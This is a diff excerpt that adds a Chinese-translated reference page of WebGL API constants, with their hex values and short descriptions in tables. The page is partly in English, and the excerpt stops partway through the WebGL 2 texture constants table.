+  function getRandomColor() {
+    return [Math.random(), Math.random(), Math.random()];
+  }
+}, false);
+
+ +

在 GitHub.上查看源码

+
+
+ +

{{PreviousNext("Learn/WebGL/By_example/Clearing_by_clicking","Learn/WebGL/By_example/Color_masking")}}

diff --git a/files/zh-cn/web/api/webgl_api/constants/index.html b/files/zh-cn/web/api/webgl_api/constants/index.html new file mode 100644 index 0000000000..fc023cbbc9 --- /dev/null +++ b/files/zh-cn/web/api/webgl_api/constants/index.html @@ -0,0 +1,4039 @@ +--- +title: WebGL 相关常量 +slug: Web/API/WebGL_API/Constants +translation_of: Web/API/WebGL_API/Constants +--- +
{{WebGLSidebar}}
+ +

WebGL API 提供了一些常量,这些常量常作为参数传入函数调用,或常作为函数的返回值。所有这些常量都是 {{domxref("GLenum")}} 类型。

+ +

标准WebGL常量挂载在WebGL的两个渲染上下文环境({{domxref("WebGLRenderingContext")}} 和{{domxref("WebGL2RenderingContext")}})中,因此,以形如gl.CONSTANT_NAME的形式使用WebGL常量:

+ +
var canvas = document.getElementById('myCanvas');
+var gl = canvas.getContext('webgl');
+
+gl.getParameter(gl.LINE_WIDTH);
+
+ +

其中一些常量也由 WebGL 扩展 提供,如下方提供的 清单

+ +
var debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
+var vendor = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL);
+ +

WebGL tutorial 中有更多关于WebGL的信息,示例和如何开始WebGL编程的其它资源。

+ +

常量表

+ + + +

标准 WebGL 1 常量

+ +

这些常量定义在 {{domxref("WebGLRenderingContext")}} 接口中。

+ +

清除缓存

+ +

常量传入 {{domxref("WebGLRenderingContext.clear()")}} 作为清除缓冲区掩码(buffer masks)。

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
常量名称说明
DEPTH_BUFFER_BIT0x00000100传递给 clear 来清除深度缓冲区。
STENCIL_BUFFER_BIT0x00000400传递给 clear 来清除当前模板缓冲区。
COLOR_BUFFER_BIT0x00004000传递给 clear 来清除颜色缓冲区。
+ +

指定渲染图元 Rendering primitives

+ +

传递给 {{domxref("WebGLRenderingContext.drawElements()")}} 或{{domxref("WebGLRenderingContext.drawArrays()")}} 的常量来指定要以何种原始类型渲染。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
常量名称说明
POINTS0x0000传递给 drawElements 或drawArrays 画点。
LINES0x0001传递给  drawElements 或drawArrays 画线段。 每个顶点链接到它的下一个顶点。每两点画一条线段。
LINE_LOOP0x0002传递给  drawElements 或drawArrays 画回路。 每两个点被当作是一条独立的线段。线段首尾相连。
LINE_STRIP0x0003传递给  drawElements 或drawArrays 画一个从第一个顶点到最后一个顶点绘制一组相连的线段。
TRIANGLES0x0004传递给drawElements 或drawArrays画三角形。 每三个点创建一个独立的三角形。
TRIANGLE_STRIP0x0005传递给drawElementsdrawArrays 画一组相连的三角形带。
TRIANGLE_FAN0x0006 +

传递给 drawElements 或drawArrays 画一组连接的三角形。以第一个点做原点,每个顶点都连着它的前一个点和第一个顶点(类似风扇)。

+
+ +

混合模式

+ +

传递给 {{domxref("WebGLRenderingContext.blendFunc()")}} 或{{domxref("WebGLRenderingContext.blendFuncSeparate()")}} 的常量来指定混合模式 (同时用于或分别用于RBG和alpha).

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
常量名称说明
ZERO0传递给blendFunc 或 blendFuncSeparate 以关闭分量。
ONE1传递给 blendFunc 或 blendFuncSeparate 以打开分量。
SRC_COLOR0x0300传递给 blendFunc 或 blendFuncSeparate 以将分量乘以源元素颜色分量。
ONE_MINUS_SRC_COLOR0x0301传递给 blendFunc 或 blendFuncSeparate 以将分量乘以1 减去源颜色分量。
SRC_ALPHA0x0302传递给 blendFunc 或 blendFuncSeparate 以将分量乘以源颜色的 alpha值。
ONE_MINUS_SRC_ALPHA0x0303传递给 blendFunc 或 blendFuncSeparate 以将分量乘以一个源颜色的 alpha值。
DST_ALPHA0x0304传递给 blendFunc 或 blendFuncSeparate 以将分量乘以目标颜色的alpha值。
ONE_MINUS_DST_ALPHA0x0305传递给 blendFunc 或 blendFuncSeparate 以将分量乘以1减去目标颜色的alpha值。
DST_COLOR0x0306传递给 blendFuncblendFuncSeparate 以将分量乘以目标颜色分量。
ONE_MINUS_DST_COLOR0x0307传递给 blendFuncblendFuncSeparate 以将分量乘以1减去目标颜色分量。
SRC_ALPHA_SATURATE0x0308传递给 blendFuncblendFuncSeparate 以将分量乘以源颜色alpha与目标颜色alpha中的最小值。
CONSTANT_COLOR0x8001传递给 blendFuncblendFuncSeparate 以指定常量颜色的混合函数。
ONE_MINUS_CONSTANT_COLOR0x8002传递给 blendFuncblendFuncSeparate 以指定1减去常量颜色的混合函数。
CONSTANT_ALPHA0x8003传递给 blendFuncblendFuncSeparate 以指定常量alpha混合函数。
ONE_MINUS_CONSTANT_ALPHA0x8004传递给 blendFuncblendFuncSeparate 以指定1减去一个常量alpha的混合函数。
+ +

混合方程

+ +

传递给 {{domxref("WebGLRenderingContext.blendEquation()")}} 或 {{domxref("WebGLRenderingContext.blendEquationSeparate()")}} 的常量,以控制混合的计算方式(同时用于或分别用于RBG和alpha)。

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
常量名称说明
FUNC_ADD0x8006传递给 blendEquation 或 blendEquationSeparate 来设置加法混合函数。
FUNC_SUBSTRACT0x800A传递给 blendEquation 或 blendEquationSeparate 来指定减法混合函数(源 - 目标)
FUNC_REVERSE_SUBTRACT0x800B传递给 blendEquation 或 blendEquationSeparate 指定反向减法函数(目标 - 源)
+ +

获取 GL 参数信息

+ +

传递给 {{domxref("WebGLRenderingContext.getParameter()")}} 的常量,用以指定要返回的信息。 

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
常量名称说明
BLEND_EQUATION0x8009传递给 getParameter 以获取当前的RGB混合函数。
BLEND_EQUATION_RGB0x8009传递给 getParameter 以获取当前的RGB混合函数。与 BLEND_EQUATION 相同。
BLEND_EQUATION_ALPHA0x883D传递给 getParameter 以获取当前的alpha函数。与 BLEND_EQUATION 相同。
BLEND_DST_RGB0x80C8传递给 getParameter 以获取当前的目标RGB混合函数。
BLEND_SRC_RGB0x80C9传递给 getParameter 以获取当前的源RGB混合函数。
BLEND_DST_ALPHA0x80CA传递给 getParameter 以获取当前目标的alpha混合函数。
BLEND_SRC_ALPHA0x80CB传递给 getParameter 以获取当前的源alpha混合函数。
BLEND_COLOR0x8005传递给 getParameter 以返回当前的混合颜色。
ARRAY_BUFFER_BINDING0x8894传递给 getParameter 获取数组缓冲区绑定。
ELEMENT_ARRAY_BUFFER_BINDING0x8895传递给 getParameter 获取当前元素数组缓冲区。
LINE_WIDTH0x0B21传递给 getParameter 获取当前的 lineWidth (由 lineWidth 方法设置)。
ALIASED_POINT_SIZE_RANGE0x846D传递给 getParameter 获取使用 gl.POINTS 绘制的点的大小。
ALIASED_LINE_WIDTH_RANGE0x846E传递给 getParameter 得到一条线的可用宽度范围。返回一个长度为2的数组。其中低值为0,高值为1。
CULL_FACE_MODE0x0B45传递给 getParameter 获取当前的cullFace 值。 应该返回 FRONT, BACK, 或 FRONT_AND_BACK
FRONT_FACE0x0B46传递给 getParameter 以确定当前的 frontFace 值。应该 CW 或 CCW
DEPTH_RANGE0x0B70传递给 getParameter 返回长度为2的浮点数数组,以表示当前深度范围。
DEPTH_WRITEMASK0x0B72传递给 getParameter 确定是否启用深度缓冲区写入操作。
DEPTH_CLEAR_VALUE0x0B73传递给 getParameter 确定当前的深度清除值。
DEPTH_FUNC0x0B74传递给 getParameter 获取当前的深度函数。返回 NEVER, ALWAYS, LESS, EQUAL, LEQUAL, GREATER, GEQUAL, 或 NOTEQUAL
STENCIL_CLEAR_VALUE0x0B91传递给 getParameter 获取将消除的模板值。
STENCIL_FUNC0x0B92传递给 getParameter 获取当前的模板函数。返回 NEVER, ALWAYS, LESS, EQUAL, LEQUAL, GREATER, GEQUAL, 或 NOTEQUAL
STENCIL_FAIL0x0B94传递给 getParameter 获取当前模板的失效函数。应该返回 KEEP, REPLACE, INCR, DECR, INVERT, INCR_WRAP, 或 DECR_WRAP
STENCIL_PASS_DEPTH_FAIL0x0B95如果深度缓冲区测试失败,则传递给 getParameter 以获取当前模板失败函数。应该返回 KEEP, REPLACE, INCR, DECR, INVERT, INCR_WRAP, 或 DECR_WRAP
STENCIL_PASS_DEPTH_PASS0x0B96如果深度缓冲区测试通过,则传递给 getParameter 以获取当前模板失败函数。应该返回 KEEP, REPLACE, INCR, DECR, INVERT, INCR_WRAP, 或 DECR_WRAP
STENCIL_REF0x0B97传递给 getParameter 获取用于模板测试的参考值。
STENCIL_VALUE_MASK0x0B93
STENCIL_WRITEMASK0x0B98
STENCIL_BACK_FUNC0x8800
STENCIL_BACK_FAIL0x8801
STENCIL_BACK_PASS_DEPTH_FAIL0x8802
STENCIL_BACK_PASS_DEPTH_PASS0x8803
STENCIL_BACK_REF0x8CA3
STENCIL_BACK_VALUE_MASK0x8CA4
STENCIL_BACK_WRITEMASK0x8CA5
VIEWPORT0x0BA2返回带有当前视口尺寸的四个元素的 {{jsxref("Int32Array")}} 
SCISSOR_BOX0x0C10返回带有当前裁剪盒子尺寸的四个元素的 {{jsxref("Int32Array")}} 。
COLOR_CLEAR_VALUE0x0C22
COLOR_WRITEMASK0x0C23
UNPACK_ALIGNMENT0x0CF5
PACK_ALIGNMENT0x0D05
MAX_TEXTURE_SIZE0x0D33
MAX_VIEWPORT_DIMS0x0D3A
SUBPIXEL_BITS0x0D50
RED_BITS0x0D52
GREEN_BITS0x0D53
BLUE_BITS0x0D54
ALPHA_BITS0x0D55
DEPTH_BITS0x0D56
STENCIL_BITS0x0D57
POLYGON_OFFSET_UNITS0x2A00
POLYGON_OFFSET_FACTOR0x8038
TEXTURE_BINDING_2D0x8069
SAMPLE_BUFFERS0x80A8
SAMPLES0x80A9
SAMPLE_COVERAGE_VALUE0x80AA
SAMPLE_COVERAGE_INVERT0x80AB
COMPRESSED_TEXTURE_FORMATS0x86A3
VENDOR0x1F00
RENDERER0x1F01
VERSION0x1F02
IMPLEMENTATION_COLOR_READ_TYPE0x8B9A
IMPLEMENTATION_COLOR_READ_FORMAT0x8B9B
BROWSER_DEFAULT_WEBGL0x9244
+ +

Buffers

+ +

传递给{{domxref("WebGLRenderingContext.bufferData()")}}, {{domxref("WebGLRenderingContext.bufferSubData()")}}, {{domxref("WebGLRenderingContext.bindBuffer()")}}, or {{domxref("WebGLRenderingContext.getBufferParameter()")}} 的变量。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
常量名称说明
STATIC_DRAW0x88E4Passed to bufferData as a hint about whether the contents of the buffer are likely to be used often and not change often.
STREAM_DRAW0x88E0Passed to bufferData as a hint about whether the contents of the buffer are likely to not be used often.
DYNAMIC_DRAW0x88E8Passed to bufferData as a hint about whether the contents of the buffer are likely to be used often and change often.
ARRAY_BUFFER0x8892Passed to bindBuffer or bufferData to specify the type of buffer being used.
ELEMENT_ARRAY_BUFFER0x8893Passed to bindBuffer or bufferData to specify the type of buffer being used.
BUFFER_SIZE0x8764Passed to getBufferParameter to get a buffer's size.
BUFFER_USAGE0x8765Passed to getBufferParameter to get the hint for the buffer passed in when it was created.
+ +

Vertex attributes

+ +

Constants passed to {{domxref("WebGLRenderingContext.getVertexAttrib()")}}.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
常量名称说明
CURRENT_VERTEX_ATTRIB0x8626Passed to getVertexAttrib to read back the current vertex attribute.
VERTEX_ATTRIB_ARRAY_ENABLED0x8622
VERTEX_ATTRIB_ARRAY_SIZE0x8623
VERTEX_ATTRIB_ARRAY_STRIDE0x8624
VERTEX_ATTRIB_ARRAY_TYPE0x8625
VERTEX_ATTRIB_ARRAY_NORMALIZED0x886A
VERTEX_ATTRIB_ARRAY_POINTER0x8645
VERTEX_ATTRIB_ARRAY_BUFFER_BINDING0x889F
+ +

Culling

+ +

Constants passed to {{domxref("WebGLRenderingContext.cullFace()")}}.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
常量名称说明
CULL_FACE0x0B44Passed to enable/disable to turn on/off culling. Can also be used with getParameter to find the current culling method.
FRONT0x0404Passed to cullFace to specify that only front faces should be drawn.
BACK0x0405Passed to cullFace to specify that only back faces should be drawn.
FRONT_AND_BACK0x0408Passed to cullFace to specify that front and back faces should be drawn.
+ +

Enabling and disabling

+ +

Constants passed to {{domxref("WebGLRenderingContext.enable()")}} or {{domxref("WebGLRenderingContext.disable()")}}.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
常量名称说明
BLEND0x0BE2Passed to enable/disable to turn on/off blending. Can also be used with getParameter to find the current blending method.
DEPTH_TEST0x0B71通过 enable/disable 来打开/关闭深度测试。 也可以使用 getParameter 来查询深度测试。LEQUAL
DITHER0x0BD0Passed to enable/disable to turn on/off dithering. Can also be used with getParameter to find the current dithering method.
POLYGON_OFFSET_FILL0x8037Passed to enable/disable to turn on/off the polygon offset. Useful for rendering hidden-line images, decals, and or solids with highlighted edges. Can also be used with getParameter to query the scissor test.
SAMPLE_ALPHA_TO_COVERAGE0x809EPassed to enable/disable to turn on/off the alpha to coverage. Used in multi-sampling alpha channels.
SAMPLE_COVERAGE0x80A0Passed to enable/disable to turn on/off the sample coverage. Used in multi-sampling.
SCISSOR_TEST0x0C11Passed to enable/disable to turn on/off the scissor test. Can also be used with getParameter to query the scissor test.
STENCIL_TEST0x0B90Passed to enable/disable to turn on/off the stencil test. Can also be used with getParameter to query the stencil test.
+ +

Errors

+ +

Constants returned from {{domxref("WebGLRenderingContext.getError()")}}.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
常量名称说明
NO_ERROR0Returned from getError.
INVALID_ENUM0x0500Returned from getError.
INVALID_VALUE0x0501Returned from getError.
INVALID_OPERATION0x0502Returned from getError.
OUT_OF_MEMORY0x0505Returned from getError.
CONTEXT_LOST_WEBGL0x9242Returned from getError.
+ +

Front face directions

+ +

Constants passed to {{domxref("WebGLRenderingContext.frontFace()")}}.

+ + + + + + + + + + + + + + + + + + + + + +
常量名称说明
CW0x0900Passed to frontFace to specify the front face of a polygon is drawn in the clockwise direction
CCW0x0901Passed to frontFace to specify the front face of a polygon is drawn in the counter clockwise direction
+ +

Hints

+ +

Constants passed to {{domxref("WebGLRenderingContext.hint()")}}

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
常量名称说明
DONT_CARE0x1100There is no preference for this behavior.
FASTEST0x1101The most efficient behavior should be used.
NICEST0x1102The most correct or the highest quality option should be used.
GENERATE_MIPMAP_HINT0x8192Hint for the quality of filtering when generating mipmap images with {{domxref("WebGLRenderingContext.generateMipmap()")}}.
+ +

Data types

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
常量名称说明
BYTE0x1400
UNSIGNED_BYTE0x1401
SHORT0x1402
UNSIGNED_SHORT0x1403
INT0x1404
UNSIGNED_INT0x1405
FLOAT0x1406
+ +

Pixel formats

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
常量名称说明
DEPTH_COMPONENT0x1902
ALPHA0x1906
RGB0x1907
RGBA0x1908
LUMINANCE0x1909
LUMINANCE_ALPHA0x190A
+ +

Pixel types

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
常量名称说明
UNSIGNED_BYTE0x1401
UNSIGNED_SHORT_4_4_4_40x8033
UNSIGNED_SHORT_5_5_5_10x8034
UNSIGNED_SHORT_5_6_50x8363
+ +

Shaders

+ +

Constants passed to {{domxref("WebGLRenderingContext.createShader()")}} or {{domxref("WebGLRenderingContext.getShaderParameter()")}}

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
常量名称说明
FRAGMENT_SHADER0x8B30Passed to createShader to define a fragment shader.
VERTEX_SHADER0x8B31Passed to createShader to define a vertex shader
COMPILE_STATUS0x8B81Passed to getShaderParamter to get the status of the compilation. Returns false if the shader was not compiled. You can then query getShaderInfoLog to find the exact error
DELETE_STATUS0x8B80Passed to getShaderParamter to determine if a shader was deleted via deleteShader. Returns true if it was, false otherwise.
LINK_STATUS0x8B82Passed to getProgramParameter after calling linkProgram to determine if a program was linked correctly. Returns false if there were errors. Use getProgramInfoLog to find the exact error.
VALIDATE_STATUS0x8B83Passed to getProgramParameter after calling validateProgram to determine if it is valid. Returns false if errors were found.
ATTACHED_SHADERS0x8B85Passed to getProgramParameter after calling attachShader to determine if the shader was attached correctly. Returns false if errors occurred.
ACTIVE_ATTRIBUTES0x8B89Passed to getProgramParameter to get the number of attributes active in a program.
ACTIVE_UNIFORMS0x8B86Passed to getProgramParamter to get the number of uniforms active in a program.
MAX_VERTEX_ATTRIBS0x8869
MAX_VERTEX_UNIFORM_VECTORS0x8DFB
MAX_VARYING_VECTORS0x8DFC
MAX_COMBINED_TEXTURE_IMAGE_UNITS0x8B4D
MAX_VERTEX_TEXTURE_IMAGE_UNITS0x8B4C
MAX_TEXTURE_IMAGE_UNITS0x8872Implementation dependent number of maximum texture units. At least 8.
MAX_FRAGMENT_UNIFORM_VECTORS0x8DFD
SHADER_TYPE0x8B4F
SHADING_LANGUAGE_VERSION0x8B8C
CURRENT_PROGRAM0x8B8D
+ +

Depth or stencil tests

+ +

Constants passed to {{domxref("WebGLRenderingContext.depthFunc()")}} or {{domxref("WebGLRenderingContext.stencilFunc()")}}.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
NEVER0x0200Passed to depthFunction or stencilFunction to specify depth or stencil tests will never pass. i.e. Nothing will be drawn.
ALWAYS0x0207Passed to depthFunction or stencilFunction to specify depth or stencil tests will always pass. i.e. Pixels will be drawn in the order they are drawn.
LESS0x0201Passed to depthFunction or stencilFunction to specify depth or stencil tests will pass if the new depth value is less than the stored value.
EQUAL0x0202Passed to depthFunction or stencilFunction to specify depth or stencil tests will pass if the new depth value is equals to the stored value.
LEQUAL0x0203如果新深度值小于或等于存储值,则通过 depthFunctionstencilFunction 指定深度或模板测试。
GREATER0x0204Passed to depthFunction or stencilFunction to specify depth or stencil tests will pass if the new depth value is greater than the stored value.
GEQUAL0x0206Passed to depthFunction or stencilFunction to specify depth or stencil tests will pass if the new depth value is greater than or equal to the stored value.
NOTEQUAL0x0205Passed to depthFunction or stencilFunction to specify depth or stencil tests will pass if the new depth value is not equal to the stored value.
+ +

Stencil actions

+ +

Constants passed to {{domxref("WebGLRenderingContext.stencilOp()")}}.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
KEEP0x1E00
REPLACE0x1E01
INCR0x1E02
DECR0x1E03
INVERT0x150A
INCR_WRAP0x8507
DECR_WRAP0x8508
+ +

Textures

+ +

Constants passed to {{domxref("WebGLRenderingContext.texParameteri()")}}, {{domxref("WebGLRenderingContext.texParameterf()")}}, {{domxref("WebGLRenderingContext.bindTexture()")}}, {{domxref("WebGLRenderingContext.texImage2D()")}}, and others.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
NEAREST0x2600
LINEAR0x2601
NEAREST_MIPMAP_NEAREST0x2700
LINEAR_MIPMAP_NEAREST0x2701
NEAREST_MIPMAP_LINEAR0x2702
LINEAR_MIPMAP_LINEAR0x2703
TEXTURE_MAG_FILTER0x2800
TEXTURE_MIN_FILTER0x2801
TEXTURE_WRAP_S0x2802
TEXTURE_WRAP_T0x2803
TEXTURE_2D0x0DE1
TEXTURE0x1702
TEXTURE_CUBE_MAP0x8513
TEXTURE_BINDING_CUBE_MAP0x8514
TEXTURE_CUBE_MAP_POSITIVE_X0x8515
TEXTURE_CUBE_MAP_NEGATIVE_X0x8516
TEXTURE_CUBE_MAP_POSITIVE_Y0x8517
TEXTURE_CUBE_MAP_NEGATIVE_Y0x8518
TEXTURE_CUBE_MAP_POSITIVE_Z0x8519
TEXTURE_CUBE_MAP_NEGATIVE_Z0x851A
MAX_CUBE_MAP_TEXTURE_SIZE0x851C
TEXTURE0 - 310x84C0 - 0x84DFA texture unit.
ACTIVE_TEXTURE0x84E0The current active texture unit.
REPEAT0x2901
CLAMP_TO_EDGE0x812F
MIRRORED_REPEAT0x8370
+ +

Uniform types

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
FLOAT_VEC20x8B50
FLOAT_VEC30x8B51
FLOAT_VEC40x8B52
INT_VEC20x8B53
INT_VEC30x8B54
INT_VEC40x8B55
BOOL0x8B56
BOOL_VEC20x8B57
BOOL_VEC30x8B58
BOOL_VEC40x8B59
FLOAT_MAT20x8B5A
FLOAT_MAT30x8B5B
FLOAT_MAT40x8B5C
SAMPLER_2D0x8B5E
SAMPLER_CUBE0x8B60
+ +

Shader precision-specified types

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
LOW_FLOAT0x8DF0
MEDIUM_FLOAT0x8DF1
HIGH_FLOAT0x8DF2
LOW_INT0x8DF3
MEDIUM_INT0x8DF4
HIGH_INT0x8DF5
+ +

Framebuffers and renderbuffers

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
FRAMEBUFFER0x8D40
RENDERBUFFER0x8D41
RGBA40x8056
RGB5_A10x8057
RGB5650x8D62
DEPTH_COMPONENT160x81A5
STENCIL_INDEX0x1901
STENCIL_INDEX80x8D48
DEPTH_STENCIL0x84F9
RENDERBUFFER_WIDTH0x8D42
RENDERBUFFER_HEIGHT0x8D43
RENDERBUFFER_INTERNAL_FORMAT0x8D44
RENDERBUFFER_RED_SIZE0x8D50
RENDERBUFFER_GREEN_SIZE0x8D51
RENDERBUFFER_BLUE_SIZE0x8D52
RENDERBUFFER_ALPHA_SIZE0x8D53
RENDERBUFFER_DEPTH_SIZE0x8D54
RENDERBUFFER_STENCIL_SIZE0x8D55
FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE0x8CD0
FRAMEBUFFER_ATTACHMENT_OBJECT_NAME0x8CD1
FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL0x8CD2
FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE0x8CD3
COLOR_ATTACHMENT00x8CE0
DEPTH_ATTACHMENT0x8D00
STENCIL_ATTACHMENT0x8D20
DEPTH_STENCIL_ATTACHMENT0x821A
NONE0
FRAMEBUFFER_COMPLETE0x8CD5
FRAMEBUFFER_INCOMPLETE_ATTACHMENT0x8CD6
FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT0x8CD7
FRAMEBUFFER_INCOMPLETE_DIMENSIONS0x8CD9
FRAMEBUFFER_UNSUPPORTED0x8CDD
FRAMEBUFFER_BINDING0x8CA6
RENDERBUFFER_BINDING0x8CA7
MAX_RENDERBUFFER_SIZE0x84E8
INVALID_FRAMEBUFFER_OPERATION0x0506
+ +

Pixel storage modes

+ +

Constants passed to {{domxref("WebGLRenderingContext.pixelStorei()")}}.

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
UNPACK_FLIP_Y_WEBGL0x9240
UNPACK_PREMULTIPLY_ALPHA_WEBGL0x9241
UNPACK_COLORSPACE_CONVERSION_WEBGL0x9243
+ +

Additional constants defined WebGL 2

+ +

These constants are defined on the {{domxref("WebGL2RenderingContext")}} interface. All WebGL 1 constants are also available in a WebGL 2 context.

+ +

Getting GL parameter information

+ +

Constants passed to {{domxref("WebGLRenderingContext.getParameter()")}} to specify what information to return.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
READ_BUFFER0x0C02
UNPACK_ROW_LENGTH0x0CF2
UNPACK_SKIP_ROWS0x0CF3
UNPACK_SKIP_PIXELS0x0CF4
PACK_ROW_LENGTH0x0D02
PACK_SKIP_ROWS0x0D03
PACK_SKIP_PIXELS0x0D04
TEXTURE_BINDING_3D0x806A
UNPACK_SKIP_IMAGES0x806D
UNPACK_IMAGE_HEIGHT0x806E
MAX_3D_TEXTURE_SIZE0x8073
MAX_ELEMENTS_VERTICES0x80E8
MAX_ELEMENTS_INDICES0x80E9
MAX_TEXTURE_LOD_BIAS0x84FD
MAX_FRAGMENT_UNIFORM_COMPONENTS0x8B49
MAX_VERTEX_UNIFORM_COMPONENTS0x8B4A
MAX_ARRAY_TEXTURE_LAYERS0x88FF
MIN_PROGRAM_TEXEL_OFFSET0x8904
MAX_PROGRAM_TEXEL_OFFSET0x8905
MAX_VARYING_COMPONENTS0x8B4B
FRAGMENT_SHADER_DERIVATIVE_HINT0x8B8B
RASTERIZER_DISCARD0x8C89
VERTEX_ARRAY_BINDING0x85B5
MAX_VERTEX_OUTPUT_COMPONENTS0x9122
MAX_FRAGMENT_INPUT_COMPONENTS0x9125
MAX_SERVER_WAIT_TIMEOUT0x9111
MAX_ELEMENT_INDEX0x8D6B
+ +

Textures

+ +

Constants passed to {{domxref("WebGLRenderingContext.texParameteri()")}}, {{domxref("WebGLRenderingContext.texParameterf()")}}, {{domxref("WebGLRenderingContext.bindTexture()")}}, {{domxref("WebGLRenderingContext.texImage2D()")}}, and others.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
RED0x1903
RGB80x8051
RGBA80x8058
RGB10_A20x8059
TEXTURES_3D0x806F
TEXTURE_WRAP_R0x8072
TEXTURE_MIN_LOD0x813A
TEXTURE_MAX_LOD0x813B
TEXTURE_BASE_LEVEL0x813C
TEXTURE_MAX_LEVEL0x813D
TEXTURE_COMPARE_MODE0x884C
TEXTURE_COMPARE_FUNC0x884D
SRGB0x8C40
SRGB80x8C41
SRGB8_ALPHA80x8C43
COMPARE_REF_TO_TEXTURE0x884E
RGBA32F0x8814
RGB32F0x8815
RGBA16F0x881A
RGB16F0x881B
TEXTURE_2D_ARRAY0x8C1A
TEXTURE_BINDING_2D_ARRAY0x8C1D
R11F_G11F_B10F0x8C3A
RGB9_E50x8C3D
RGBA32UI0x8D70
RGB32UI0x8D71
RGBA16UI0x8D76
RGB16UI0x8D77
RGBA8UI0x8D7C
RGB8UI0x8D7D
RGBA32I0x8D82
RGB32I0x8D83
RGBA16I0x8D88
RGB16I0x8D89
RGBA8I0x8D8E
RGB8I0x8D8F
RED_INTEGER0x8D94
RGB_INTEGER0x8D98
RGBA_INTEGER0x8D99
R80x8229
RG80x822B
R16F0x822D
R32F0x822E
RG16F0x822F
RG32F0x8230
R8I0x8231
R8UI0x8232
R16I0x8233
R16UI0x8234
R32I0x8235
R32UI0x8236
RG8I0x8237
RG8UI0x8238
RG16I0x8239
RG16UI0x823A
RG32I0x823B
RG32UI0x823C
R8_SNORM0x8F94
RG8_SNORM0x8F95
RGB8_SNORM0x8F96
RGBA8_SNORM0x8F97
RGB10_A2UI0x906F
COMPRESSED_R11_EAC0x9270
COMPRESSED_SIGNED_R11_EAC0x9271
COMPRESSED_RG11_EAC0x9272
COMPRESSED_SIGNED_RG11_EAC0x9273
COMPRESSED_RGB8_ETC20x9274
COMPRESSED_SRGB8_ETC20x9275
